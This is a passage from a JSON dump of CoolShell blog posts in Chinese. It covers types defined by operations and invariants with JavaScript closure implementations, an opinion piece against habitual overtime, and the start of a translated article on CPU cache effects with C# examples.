    "content": "---\nlayout: post\ntitle: 类型的本质和函数式实现\ndate: 2013/7/22/ 11:46:0\nupdated: 2013/7/22/ 11:46:0\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢**[@文艺复兴记](http://weibo.com/weidagang)**（todd） 投递此文）**\n\n\n在上一篇文章[《二叉树迭代器算法》](https://coolshell.cn/articles/9886.html)中，我介绍了一种基于栈的二叉树迭代器实现。程序设计语言和Haskell大牛[@九瓜](http://weibo.com/u/1684815495) 在看过之后评论到：\n\n\n\n> 这里用了 stack 来做，有点偷懒，所以错失了一个抽象思考机会。如果我们能够理解二叉树到线性表的转换过程，完全可以把 Iterator 当作抽象的线性表来看，只要定义了关于 Iterator 的 empty, singleton, 还有 append 操作，实现二叉树的 Iterator 就变得非常直观。\n> \n> \n\n\n“错失了一个抽象思考机会”是什么意思呢？我理解九瓜的意思是基于栈的实现虽然是正确的，但它缺乏对于迭代器类型本质的理解，不具有通用性。如果能对迭代器进行合适地抽象就可以像二叉树递归遍历一样自然地得出二叉树迭代器，甚至其他更复杂的数据结构，只要我们能写出它的遍历算法，迭代器算法都可以自然推出。\n\n\n#### 类型的本质\n\n\n九瓜提到了通过empty, singleton和append操作对Iterator进行抽象，我本来打算直接根据这个思路介绍函数式的二叉树迭代器实现，但是考虑到其实首要的问题在于理解类型的本质，而并不是所有人都具备这个基础，不如先普及一下类型基础再进入具体实现。那么下面我们就先来认识一下类型到底是什么？我们先以来看看表示元素对的Pair类型，可能有人一提到Pair类型马上就会在脑海中浮现出下面的结构：\n\n\n\n\n```\n\nstruct Pair {\n    int left;\n    int right;\n}\n\n```\n\n其实，这种理解是非本质的，Pair完全可以用2个元素的数组来表示，第一个元素表示left，第二个元素表示right：\n\n\n\n```\n\nstruct Pair {\n    int elements[2];\n}\n\n```\n\n上面的两种不同表示是类型的不同实现，而**类型的本质是由操作(Operation)和操作间的关系或不变式(Invariant)所定义的**，我们称之为类型规范(Type Specification)。比如，Pair类型是这样定义的：\n\n\n\n```\n\nType Pair:\n    Operations:\n        Pair make_pair(int x, int y)\n        int get_left(Pair pair)\n        int get_right(Pair pair)\n    Invariants:\n        get_left(make_pair(x, y)) == x  //对x, y构造的Pair取左元素等于x\n        get_right(make_pair(x, y)) == y  //对x, y构造的Pair取右元素等于y\n\n```\n\n也就是说只要是满足Pair类型规范，即定义了make\\_pair，get\\_left, get\\_right这3种操作，并且这些操作满足上面两个不变式，那么它这就是Pair类型。我们再来看看稍微复杂一点的Stack类型：\n\n\n\n```\n\nType Stack:\n    Operations:\n        Stack make_stack()  //构造空栈\n        Stack push(Stack stack, int x)  //将元素x压栈，返回新栈\n        int top(stack)  //获取栈顶元素\n        Stack pop(Stack stack)  //将栈顶元素弹栈，返回新栈\n    Invariants:\n        top(push(stack, x)) == x  //栈顶元素为最后一次压栈值\n        pop(push(stack, x)) == stack  //对stack压栈后再弹栈等于原来的stack\n\n```\n\nStack类型规范简言之就是FILO（先入后出），如果要形式化就是上面的不变式。为了加深理解，我们现在切换到测试视角来看一看，如果请你来编写一个Stack类的单元测试用例，你应该怎么写呢？许多朋友都不清楚单元测试到底测什么？怎么测？我见过不少人用一个测试用例单独对push做测试，用另一个测试用例对pop单独做测试，其主要原因就在于缺乏对类型本质的理解。其实，只要理解了类型的本质我们就知道孤立地看push或pop是没有任何意义的，它们的意义是在FILO关系下相互解释的，所以测试当然是基于类型规范来测试FILO不变式！这种基于类型规范的测试是一种黑盒测试，与类型的内部实现细节无关，只要单元测试覆盖了类型所定义的所有操作和不变式，那么不管内部怎么实现或优化，测试用例都不需要调整。反之，如果深入到了类型的内部实现做白盒测试，那这样的测试用例实际上就不再是反映其类型规范了，它会随着实现细节的调整而失效。\n\n\n更深一层来看，不仅是在Pair，Stack这样的微观层面，在一个系统的宏观层面同样可以采用类型视角，即考察系统定义了哪些操作？这些操作之间有什么样的关系或不变式？比如，你如何从类型的角度来看待MySQL这样一套数据库系统？MySQL系统定义了哪些操作？这些操作之间必须满足怎样的关系和不变式？不仅如此，类型视角除了可以应用于计算机系统，甚至还可以应用于生活中的事物，比如，你到超市购物可以寄存自己的包，在寄包的时候会获得一张密码条，取包时可以通过密码条打开箱子。你能从超市寄包这个例子中看出类型来吗？如果你看出来了，说明你对类型的理解真正融会贯通了！\n\n\n#### 类型的函数式实现\n\n\n上面我们介绍了类型的本质在于操作和操作间的关系，下面我们要关注的是类型的实现。在上面的例子中，Pair的内部结构到底是什么，是一个left和一个right成员？还是一个两元素的数组？没有讲，也没关系，就好像Windows的Handle和Linux的FileDescriptor一样，它们都是一个标识，你并不需要关心它的值本身，你只需要用几个相关的函数创建和操作它就行了（上面超市寄包例子中的密码条和Windows中的Handle是什么关系，你看出来了吗？你需要理解密码条的内容吗？）。换句话说，只要满足类型规范，具体实现是可变的，使用者**只依赖于类型规范而不依赖于其具体实现**。这在面向对象语言中意味着接口保持不变而具体实现可以变化（这里把public方法视为一种广义的接口）。\n\n\n下面，我们还会看到的是不仅类型的内部实现可以变化，而且可以根本没有什么所谓的内部实现。这是什么意思呢？让我们来思考一下，是不是Pair内部一定要有什么东西来保存构造函数传入的left和right？我们能跳出这个定势吗？在函数式编程中，我们能做到：\n\n\n[javascript]  \n\n//Javascript  \n\nfunction make\\_pair(x, y) {  \n\n // 返回一个支持get\\_left和get\\_right操作的闭包(Closure)  \n\n return {  \n\n get\\_left : function() { return x },  \n\n get\\_right : function() { return y }  \n\n }  \n\n}  \n\nfunction get\\_left(pair) {  \n\n return pair.get\\_left();  \n\n}  \n\nfunction get\\_right(pair) {  \n\n return pair.get\\_right();  \n\n}  \n\n// Test case  \n\nconsole.log(get\\_left(make\\_pair(1, 2))) //1  \n\nconsole.log(get\\_right(make\\_pair(1, 2))) //2  \n\n[/javascript]\n\n\n上面的关键代码在于make\\_pair的内部返回的不是一种具体的数据结构，而是一个支持get\\_left和get\\_right操作的闭包(Closure)，将来可以通过get\\_left和get\\_right来提取x, y。这种基于闭包的实现和我们通常采用的基于数据结构的实现的本质区别在哪里呢？不难发现，**基于闭包的实现和类型规范是直接对应的**，它并没有引入类型规范之外的东西，而基于数据结构的实现则隐藏了实现的细节。换句话说，如果要验证实现代码的正确性，对于前者只需要比对着类型规范，对于后者我们可能需要去仔细理解推敲其所采用的数据结构。对于Pair这样简单的结构二者差别不大，甚至基于数据结构的实现更简单，但是对于复杂的类型就容易体现出闭包实现的优势了。为了加深理解，我们再来看一个Stack的函数式实现：\n\n\n[javascript]  \n\n//Javascript  \n\nfunction make\\_stack() {  \n\n return null  \n\n}  \n\nfunction push(stack, x) {  \n\n return {  \n\n top : function() { return x },  \n\n pop : function() { return stack }  \n\n }  \n\n}  \n\nfunction top(stack) {  \n\n return stack.top()  \n\n}  \n\nfunction pop(stack) {  \n\n return stack.pop()  \n\n}  \n\n// Test case  \n\nvar stack = make\\_stack()  \n\nstack = push(stack, 1)  \n\nstack = push(stack, 2)  \n\nstack = push(stack, 3)  \n\nconsole.log(top(stack)) //3  \n\nstack = pop(stack)  \n\nconsole.log(top(stack)) //2  \n\nstack = push(stack, 4)  \n\nconsole.log(top(stack)) //4  \n\n[/javascript]\n\n\n上面的所有函数都是采用了无副作用的纯函数式设计，可能习惯面向对象编程的朋友不是很习惯，不过这不影响我们对类型的讨论，而且它也很容易改造成面向对象的风格，感兴趣的朋友可以自己尝试对上面的代码进行简单的包装让它看起来像面向对象的样子。\n\n\n#### 函数式二叉树迭代器\n\n\n上面我们介绍了类型的本质和函数式实现，下面我们再来看看Iterator类型又该如何定义和实现呢？ 思路当然还是从操作入手，考虑Iterator类型对应了哪些操作，它们的关系是什么？上面九瓜提示了Iterator类型可以抽象为线性表List类型，或者说Iterator本质上是一个List。为什么呢？其实，只要跳出“如何表示数据结构”的思维，从类型角度思考就很容易理解，因为Iterator和List都定义了相同的操作，Iterator的使用者完全不关心也不知道它背后到底是链表还是二叉树，你对Iterator的操作和一个List的操作完全一样。正是这个原因，STL等范型库才能通过Iterator将算法和数据结构解耦。\n\n\n怎么定义一个List类型呢？九瓜提到的empty(), singleton()和append()实际上就是和List打交道最多的Lisp语言的经典定义方式。Lisp是基于s-expression的，s-expression既可以视为线性表又可以视为树，本质上Lisp为List类型了构造、取首元素和取剩余元素等几种操作：\n\n\n\n```\n\nType List:\n    Operations:\n        List empty()  //构造空表，通常由()这个文字量表示\n        List singleton(Element e)  //构造包含一个元素的表，通常由(e)这个文字量表示\n        Element first(List list)   //取list的第一个元素，通常又叫car操作\n        List rest(List list)  //取list除第一个元素外的剩余部分，通常又叫cdr操作\n        List append(List list1, List list2) //连接两个表\n    Invariants:\n        append(empty(), list) == list  //空表和表list连接后等于表list\n        append(list, empty()) == list  //空表和表list连接后等于表list\n        first(singleton(e)) == e  //对singleton(e)取首元素等于e\n        rest(singleton(e)) == empty()  //对singleton(e)取首元素外的剩余部分的结果为空表\n        append(first(list), rest(list)) == list  //对list的首尾两部分进行连接等于list本身\n        if list1 is not empty then\n            first(append(list1, list2)) == first(list1)  //对非空表list1于表list2的连接取首元素等于对非空表list1取首元素\n        if list1 is not empty then\n            rest(append(list1, list2)) == append(rest(list1), list2)  //对非空表list1于表list2的连接取首元素等于对非空表list1取首元素\n\n```\n\n有了上面的分析，我们相应地写出下面的List实现：\n\n\n[javascript]  \n\n//Javascript  \n\nfunction empty() {  \n\n return null  \n\n}  \n\nfunction singleton(e) {  \n\n return {  \n\n first: function() { return e },  \n\n rest: function() { return null }  \n\n }  \n\n}  \n\nfunction first(list) {  \n\n return list.first()  \n\n}  \n\nfunction rest(list) {  \n\n return list.rest()  \n\n}  \n\nfunction append(list1, list2) {  \n\n if (null == list1) return list2  \n\n if (null == list2) return list1\n\n\n return {  \n\n first : function() { return first(list1) },  \n\n rest : function() { return append(rest(list1), list2) }  \n\n }  \n\n}  \n\n[/javascript]\n\n\n在此基础上可以进一步实现二叉树迭代器：\n\n\n[javascript]  \n\nfunction make\\_binary\\_tree\\_iterator(node) {  \n\n return {  \n\n first : function() {  \n\n return null != node.left ? first(make\\_binary\\_tree\\_iterator(node.left)) : node  \n\n },  \n\n rest : function() {  \n\n var left\\_it = (null == node.left ? null : make\\_binary\\_tree\\_iterator(node.left))  \n\n var root\\_it = singleton(node)  \n\n var right\\_it = (null == node.right ? null : make\\_binary\\_tree\\_iterator(node.right))  \n\n var it = append(append(left\\_it, root\\_it), right\\_it)  \n\n return rest(it)  \n\n }  \n\n }  \n\n}  \n\n//======== Test case ========  \n\nvar tree = {  \n\n value : 1,  \n\n left : {  \n\n value : 2,  \n\n left : { value : 4, left : null, right : null },  \n\n right : null  \n\n },  \n\n right : {  \n\n value : 3,  \n\n left : null,  \n\n right : { value : 7, left : null, right : null }  \n\n }  \n\n}  \n\nfor (var it = make\\_binary\\_tree\\_iterator(tree); null != it; it = rest(it)) {  \n\n console.log(first(it).value)  \n\n}  \n\n[/javascript]\n\n\n上面的make\\_binary\\_tree\\_iterator在List类型的基础上按照二叉树遍历过程构造了一个List。不知道你是否注意到了，为什么它不像下面这个例子一样直接返回一个List，而要构造一个闭包呢？\n\n\n[javascript]  \n\nfunction make\\_binary\\_tree\\_iterator(node) {  \n\n var left\\_it = (null == node.left ? null : make\\_binary\\_tree\\_iterator(node.left))  \n\n var root\\_it = singleton(node)  \n\n var right\\_it = (null == node.right ? null : make\\_binary\\_tree\\_iterator(node.right))  \n\n return append(append(left\\_it, root\\_it), right\\_it)  \n\n}  \n\n[/javascript]\n\n\n这里关键的区别在于闭包是惰性求值的，也就是说只有当真正开始迭代遍历的时候才会逐渐对各个函数进行求值，而上面的函数递归调用是非惰性的，会从一开始就把所有结点展开成线性表。如果你对这一点还不能很好地理解，可以尝试在各个函数中加log跟踪函数的调用过程。\n\n\n#### 总结\n\n\n本文介绍了类型的本质在于它所定义的操作以及操作之间的关系和不变式。类型的实现关键在于满足类型规范的要求，而具体实现是可以变化的，使用者和测试用例都应该只依赖于类型规范而不依赖于具体实现。函数式的类型实现往往和类型规范是直接对应的，简单通用，但可能有性能问题，而命令式的类型实现往往会引入复杂的内部数据结构，但是其优点是高效。这两种实现并不是完全互斥的，有时候可以将二者相结合达到简单与高效的结合。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\nThe post [类型的本质和函数式实现](https://coolshell.cn/articles/10169.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-7-24 加班与效率.md",
    "content": "---\nlayout: post\ntitle: 加班与效率\ndate: 2013/7/24/ 0:28:10\nupdated: 2013/7/24/ 0:28:10\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2013/07/Work-Overtime-300x201.jpg)微博上看到了[这么一个贴子](http://weibo.com/1401880315/A0LFVkB3L)，就像以前在《[腾讯，竞争力 和 用户体验](https://coolshell.cn/articles/5901.html \"腾讯，竞争力 和 用户体验\")》中批评过腾讯说自己的核心竞争力是员工加班一样，我顺着Winter的回复也批评了一下这个微博——\n\n\n“靠加班超越对手？！劳动密集型么？我要是对手的话，我就来趁机挖人了，直接摁死你……//[@寒冬winter](http://weibo.com/n/%E5%AF%92%E5%86%ACwinter): 当一个管理者的智慧无法衡量一支团队的产出的时候，他就会把“工时”当做最后的救命稻草，死死抱住——这是他唯一听得懂的东西了。”\n\n\n![](../wp-content/uploads/2013/07/work_overtime.png)\n\n\n然后，[@玄了个澄的](http://weibo.com/jiach \"玄了个澄的\")在微博里at我说，他在微信里看了[@Fenng](http://weibo.com/n/Fenng) 关于加班的言论，希望我评论一下。我看了一下大辉的文章，虽然写得有点散乱，但是我和他的一些观点还是很类似的，我主要在这里加强一下我的看法。\n\n\n#### 关于加班\n\n\n**认为加班是公司的核心竞争力，或是超越对手的手段，是一种相当 Ridiculous 的想法。这说明管理者们已经想不到自己公司的核心价值了**。\n\n\n\n是的，这些靠堆功能没有灵魂的产品的价值就只剩下比谁跑得快了。他们愚蠢和思维有限的大脑里已经区分不出来，“跑得快”和“跑得好”的差别了。产品的发展不是短跑，而是长跑，甚至更像是登山，登山比的不是快，而比的是策略，比的是意志，目的是登顶。并不是谁一开始爬得快谁就能最先登顶的，你往往被超越的时候都在后半程。对于一些危险的雪山来说，登顶的人通常都是要做好非常很充分的准备，并且在登山的过程中学会如何保留体力，学会如何步步为营的，从来不强行登顶。\n\n\n在[《Rework》摘录及感想](https://coolshell.cn/articles/9156.html \"《Rework》摘录及感想\") 中提到过两点\n\n\n* **条件受限是好事，因为条件受限可以让你小材大用，让你没有办法再用蛮力来完成工作，让你必需去思考使用知识密集型的解决方案来更聪明的解决问题**。\n\n\n* **工作狂往往不得要领。他们花大把大把的时间去解决问题，他们以为能靠蛮力来弥补思维上的惰性，其结果就是折腾出一堆粗糙无用的解决方案**。\n\n\n就像人肉手动的织布机一样，当面对大量订单的时候，一个简单粗暴的方法就是拼命地加人和拼命地工作来换取更大的生产力。只有你在人手不够或是人力成本太高的情况下，你才会去想是不是可以优化一下工具，制造一个更有效率更有生产力的工具。\n\n\n**在中国，劳动力的成本不高，而管理者们的智力和能力有限，所以，在这个环境下，尤其在KPI和数字的重压下，管理者们是非常非常容易想到需要靠加人或是加班来提高产能的**。所以，他们放弃了知识密集型的创新，而采用了劳动密集型的简单粗暴的方式，长期下来，导致了自己再也不会思考，导致了只会使用人肉解决问题。\n\n\n于是，当全自动化的织布机出现的时候，这种劳动密集型的公司分分钟就成为了历史。这样的例子太多太多了，看看历史就知道了。\n\n\n当然，有时候，我们需要冲刺还是要适当偶尔加班的，但这绝对不应该是常态和长期的，不然，这必然是一种饮鸩止渴的行为。\n\n\n另外，我还要多说几种情况：\n\n\n1）如果你的员工就像在《[软件公司的两种管理](https://coolshell.cn/articles/4951.html \"软件公司的两种管理方式\")》中所说的，像Widget Factories那样，净是些X型的人的话，那么，你也只有使用加班和加人这种方式，就像长城和金字塔的建设过程一样，就像富士康一样，你的团队本质是不会思考只能用鞭子去抽他们的方式去管理。于是，你也只能用“狼性”来呼唤你的员工像那些低智商的野兽一样的行事。\n\n\n2）有时候，我们需要去“卡位”，需要很快地去实现一个东西占领市场，这需要加班。就像Win95和Intel的奔腾芯片的浮点数问题一样。但是千万不要忘了，你在卡完位后，得马上把你产品的质量搞上去，不然，你一样会死得很难看。（Windows是有两个团队的，一个团队是用来占领市场的，另一个团队是安心搞发展的）注意：“卡位”从某种程度上来说应该是一种有价值的事，但我们依然要思考是否在用蛮力行事。\n\n\n3）另外，有的人工作就是生活，生活就是工作，所以，对他来说，这不是一种工作，而是一种事业。我认可这样的精神和热情，但是，我还是想让这样的人反思一下自己，有没有用一种更为聪明的方式来从事自己的事业？而不是用蛮力。\n\n\n无论上述的哪种情况，我们都可以看到，只要你进入了劳动密集型，靠人和靠加班来解决问题，并沉迷并深 陷其中不能自拔，那们，你终有一天会玩到尽头的。\n\n\n#### 关于效率\n\n\n**很多人不知道什么叫效率，他们以为效率就是：单位时间单位人数下干更多的活。这是错的！效率不是比谁干的活多，而是比谁干得活有更大的价值**。效率的物理公式是：**有用功/总功**。换句话说，效率就是：单位时间和人数产生的价值。所以，提高效率，并不是加人，也不是干更多的活，而是，你这么多人干出来了多少有价值的东西。\n\n\n有了公式，我们也就知道怎么来提高效率了。\n\n\n**1）增加有用功**\n\n\n* 你得多问问你的需求方，为什么要加这个需求？干这个事到底有多大的价值？能让多少人受益？\n* 你得多问问你的需求方，能不能稍微简化一下需求，这样可以让我付出的努力更少一些？\n* 你得要多去思考一下，你是在干一个建筑队的活呢？还是在干一个装修队的活？\n* 你得要多去思考一下，业务上和用户的最大的痛点是什么？\n\n\n关于增加有用功，再说两点：\n\n\n* 像乔布斯那样，告诉你的产品经理或是业务方，你现在提的10需求，我只能做3个，会是哪3个？为什么是这3个？**有用功的来源不是拼命做需求，而是砍需求。**\n\n\n* **关于创造价值，我们要干的不是像百度的“竞价排名”那样，把钱从别人口袋里搬运到自己的口袋里，而是要像“英国工业革命”或是“硅谷”那样，把价值真正的创造出来**。\n\n\n**2）降低总功**\n\n\n* 你得多问问自己，你有多少时间是在干一些支持性而不是产出性的工作？\n* 你得多问问自己，有没有残酷无情地减少重复劳动的劳动密集型的工作？\n* 你得多问问自己，自己的管理者和员工的能力和素质有没有在降低你的团队执行的成本？\n\n\n**3）形成合力**\n\n\n有一个很不错的产品经理对我说，他看了南京那两个小女孩被饿死的消息，感到很震惊。与之有关联的每一方都说自己尽力，但是最终结果人还是饿死了，你几乎不敢相信这是真的。\n\n\n但是，类比一下我们的项目，这种事似乎又发生在我们的公司当中，尤其是大公司中。每一个团队都说自己尽力了，结果项目就是没做好，底层团队说自己只干底层，已经尽力了，前端说自己只负责前端，也尽力了，后端说自己只管后端，不管前端和底层，运维说对于这样的设计和部署自己也尽力了，产品经理，运营都这样说，自己尽力了。你会发现，你几乎很难批评他们，因为他们的确如他们所说的那样，把他们自己的那块都做得很好了，而且的确做得很好了。但是，最终的结果却是：整个产品问题很多。\n\n\n**所以说，效率不是每个团队各自的效率，而是整个团队对整个产品负责的共同使命，这样才会现整体的效率。没有整体的效率，只有个体的效率，最终也等于没有效率**。\n\n\n#### T-Shirt Size Estimation\n\n\nAmazon用一种T-Shirt Size 估计的方式来做项目。\n\n\n* 产品经理会对每一条需求评估上业务影响力的尺寸，如：XXXL 影响一千万人以上或是可以占到上亿美金的市场，XXL，影响百万用户或是占了千万金级别以上的市场，后面还有XL，L，M，S，这样下来。\n\n\n* 开发团队也一样，要评估投入的人员时间成本，XXXL表示要干1年，XXL干半年，XL干3个月，L干两个月，M干一个月，S干两周以下。等等。\n\n\n于是，\n\n\n* 当业务影响力是XL，时间人员成本是S，这是最高优先级。\n* 当业务影响力是M，时间人员成本是M，这是低优先级。\n* 当业务影响力是S，时间人员成本是XL，直接砍掉这个需求。因为是亏的。\n* 当业务影响力是XXL，时间人员成本是XXL，需要简化需求，把需求简化成XL，时间人员成本变成M以下。\n\n\n大家感受一下吧。\n\n\n好了，我就说这么多，欢迎大家讨论。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\n* [![《Rework》摘录及感想](../wp-content/uploads/2013/03/rework-150x150.jpg)](https://coolshell.cn/articles/9156.html)[《Rework》摘录及感想](https://coolshell.cn/articles/9156.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg](https://coolshell.cn/articles/4951.html)[软件公司的两种管理方式](https://coolshell.cn/articles/4951.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/3218.html)[开发时间估计](https://coolshell.cn/articles/3218.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\nThe post [加班与效率](https://coolshell.cn/articles/10217.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-7-30 7个示例科普CPU Cache.md",
    "content": "---\nlayout: post\ntitle: 7个示例科普CPU Cache\ndate: 2013/7/30/ 1:5:38\nupdated: 2013/7/30/ 1:5:38\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢网友**[**@我的上铺叫路遥**](http://weibo.com/fullofbull)**翻译投稿）**\n\n\nCPU cache一直是理解计算机体系架构的重要知识点，也是并发编程设计中的技术难点，而且相关参考资料如同过江之鲫，浩瀚繁星，阅之如临深渊，味同嚼蜡，三言两语难以入门。正好网上有人推荐了微软大牛Igor Ostrovsky一篇博文**《漫游处理器缓存效应》**，文章不仅仅用7个最简单的源码示例就将CPU cache的原理娓娓道来，还附加图表量化分析做数学上的佐证，个人感觉这种案例教学的切入方式绝对是俺的菜，故而忍不住贸然译之，以飨列位看官。\n\n\n原文地址：[Gallery of Processor Cache Effects](http://igoro.com/archive/gallery-of-processor-cache-effects/)\n\n\n大多数读者都知道cache是一种快速小型的内存，用以存储最近访问内存位置。这种描述合理而准确，但是更多地了解一些处理器缓存工作中的“烦人”细节对于理解程序运行性能有很大帮助。\n\n\n在这篇博客中，我将运用代码示例来详解cache工作的方方面面，以及对现实世界中程序运行产生的影响。\n\n\n下面的例子都是用C#写的，但语言的选择同程序运行状况以及得出的结论几乎没什么影响。\n\n\n#### 示例1：内存访问和运行\n\n\n你认为相较于循环1，循环2会运行多快？\n\n\n\n```\nint[] arr = new int[64 * 1024 * 1024];\n\n// Loop 1\nfor (int i = 0; i < arr.Length; i++) arr[i] *= 3;\n\n// Loop 2\nfor (int i = 0; i < arr.Length; i += 16) arr[i] *= 3;\n```\n\n\n第一个循环将数组的每个值乘3，第二个循环将每16个值乘3，第二个循环只做了第一个约6%的工作，但在现代机器上，两者几乎运行相同时间：在我机器上分别是80毫秒和78毫秒。\n\n\n两个循环花费相同时间的原因跟内存有关。**循环执行时间长短由数组的内存访问次数决定的，而非整型数的乘法运算次数。**经过下面对第二个示例的解释，你会发现硬件对这两个循环的主存访问次数是相同的。\n\n\n#### 示例2：缓存行的影响\n\n\n让我们进一步探索这个例子。我们将尝试不同的循环步长，而不仅仅是1和16。\n\n\n`for (int i = 0; i < arr.Length; i += K) arr[i] *= 3;`\n\n\n下图为该循环在不同步长(K)下的运行时间：\n\n\n![running times of this loop for different step values (K)](../wp-content/uploads/2010/01/image6.png)\n\n\n注意当步长在1到16范围内，循环运行时间几乎不变。但从16开始，每次步长加倍，运行时间减半。\n\n\n背后的原因是今天的CPU不再是按字节访问内存，而是以64字节为单位的块(chunk)拿取，称为一个缓存行(cache line)。当你读一个特定的内存地址，整个缓存行将从主存换入缓存，并且访问同一个缓存行内的其它值的开销是很小的。\n\n\n由于16个整型数占用64字节（一个缓存行），for循环步长在1到16之间必定接触到相同数目的缓存行：即数组中所有的缓存行。当步长为32，我们只有大约每两个缓存行接触一次，当步长为64，只有每四个接触一次。\n\n\n理解缓存行对某些类型的程序优化而言可能很重要。比如，数据字节对齐可能决定一次操作接触1个还是2个缓存行。那上面的例子来说，很显然操作不对齐的数据将损失一半性能。\n\n\n#### 示例3：L1和L2缓存大小\n\n\n今天的计算机具有两级或三级缓存，通常叫做L1、L2以及可能的L3（译者注：如果你不明白什么叫二级缓存，可以参考[这篇精悍的博文](https://coolshell.cn/articles/3236.html)lol）。如果你想知道不同缓存的大小，你可以使用系统内部工具[CoreInfo](http://technet.microsoft.com/en-us/sysinternals/cc835722.aspx)，或者Windows API调用[GetLogicalProcessorInfo](http://msdn.microsoft.com/en-us/library/ms683194(VS.85).aspx)。两者都将告诉你缓存行以及缓存本身的大小。\n\n\n在我的机器上，CoreInfo现实我有一个32KB的L1数据缓存，一个32KB的L1指令缓存，还有一个4MB大小L2数据缓存。L1缓存是处理器独享的，L2缓存是成对处理器共享的。\n\n\nLogical Processor to Cache Map:  \n\n\\*— Data Cache 0, Level 1, 32 KB, Assoc 8, LineSize 64  \n\n\\*— Instruction Cache 0, Level 1, 32 KB, Assoc 8, LineSize 64  \n\n-\\*– Data Cache 1, Level 1, 32 KB, Assoc 8, LineSize 64  \n\n-\\*– Instruction Cache 1, Level 1, 32 KB, Assoc 8, LineSize 64  \n\n\\*\\*– Unified Cache 0, Level 2, 4 MB, Assoc 16, LineSize 64  \n\n–\\*- Data Cache 2, Level 1, 32 KB, Assoc 8, LineSize 64  \n\n–\\*- Instruction Cache 2, Level 1, 32 KB, Assoc 8, LineSize 64  \n\n—\\* Data Cache 3, Level 1, 32 KB, Assoc 8, LineSize 64  \n\n—\\* Instruction Cache 3, Level 1, 32 KB, Assoc 8, LineSize 64  \n\n–\\*\\* Unified Cache 1, Level 2, 4 MB, Assoc 16, LineSize 64\n\n\n（译者注：作者平台是四核机，所以L1编号为0~3，数据/指令各一个，L2只有数据缓存，两个处理器共享一个，编号0~1。关联性字段在后面例子说明。）\n\n\n让我们通过一个实验来验证这些数字。遍历一个整型数组，每16个值自增1——一种节约地方式改变每个缓存行。当遍历到最后一个值，就重头开始。我们将使用不同的数组大小，可以看到当数组溢出一级缓存大小，程序运行的性能将急剧滑落。\n\n\n\n```\nint steps = 64 * 1024 * 1024;\n// Arbitrary number of steps\nint lengthMod = arr.Length - 1;\nfor (int i = 0; i < steps; i++)\n{\n    arr[(i * 16) & lengthMod]++; // (x & lengthMod) is equal to (x % arr.Length)\n}\n```\n\n下图是运行时间图表：  \n\n![cache size](../wp-content/uploads/2010/02/image.png)\n\n\n你可以看到在32KB和4MB之后性能明显滑落——正好是我机器上L1和L2缓存大小。\n\n\n#### 示例4：指令级别并发\n\n\n现在让我们看一看不同的东西。下面两个循环中你以为哪个较快？\n\n\n\n```\nint steps = 256 * 1024 * 1024;\nint[] a = new int[2];\n\n// Loop 1\nfor (int i=0; i<steps; i++) { a[0]++; a[0]++; }\n\n// Loop 2\nfor (int i=0; i<steps; i++) { a[0]++; a[1]++; }\n```\n\n结果是第二个循环约比第一个快一倍，至少在我测试的机器上。为什么呢？这跟两个循环体内的操作指令依赖性有关。\n\n\n第一个循环体内，操作做是相互依赖的（译者注：下一次依赖于前一次）：  \n\n![same value dependency](../wp-content/uploads/2010/01/image.png)  \n\n但第二个例子中，依赖性就不同了：  \n\n![different values dependency](../wp-content/uploads/2010/02/image2.png)\n\n\n现代处理器中对不同部分指令拥有一点并发性（译者注：跟流水线有关，比如Pentium处理器就有U/V两条流水线，后面说明）。这使得CPU在同一时刻访问L1两处内存位置，或者执行两次简单算术操作。在第一个循环中，处理器无法发掘这种指令级别的并发性，但第二个循环中就可以。\n\n\n[原文更新]：许多人在reddit上询问有关编译器优化的问题，像{ a[0]++; a[0]++; }能否优化为{ a[0]+=2; }。实际上，C#编译器和CLR JIT没有做优化——在数组访问方面。我用release模式编译了所有测试（使用优化选项），但我查询了JIT汇编语言证实优化并未影响结果。\n\n\n#### 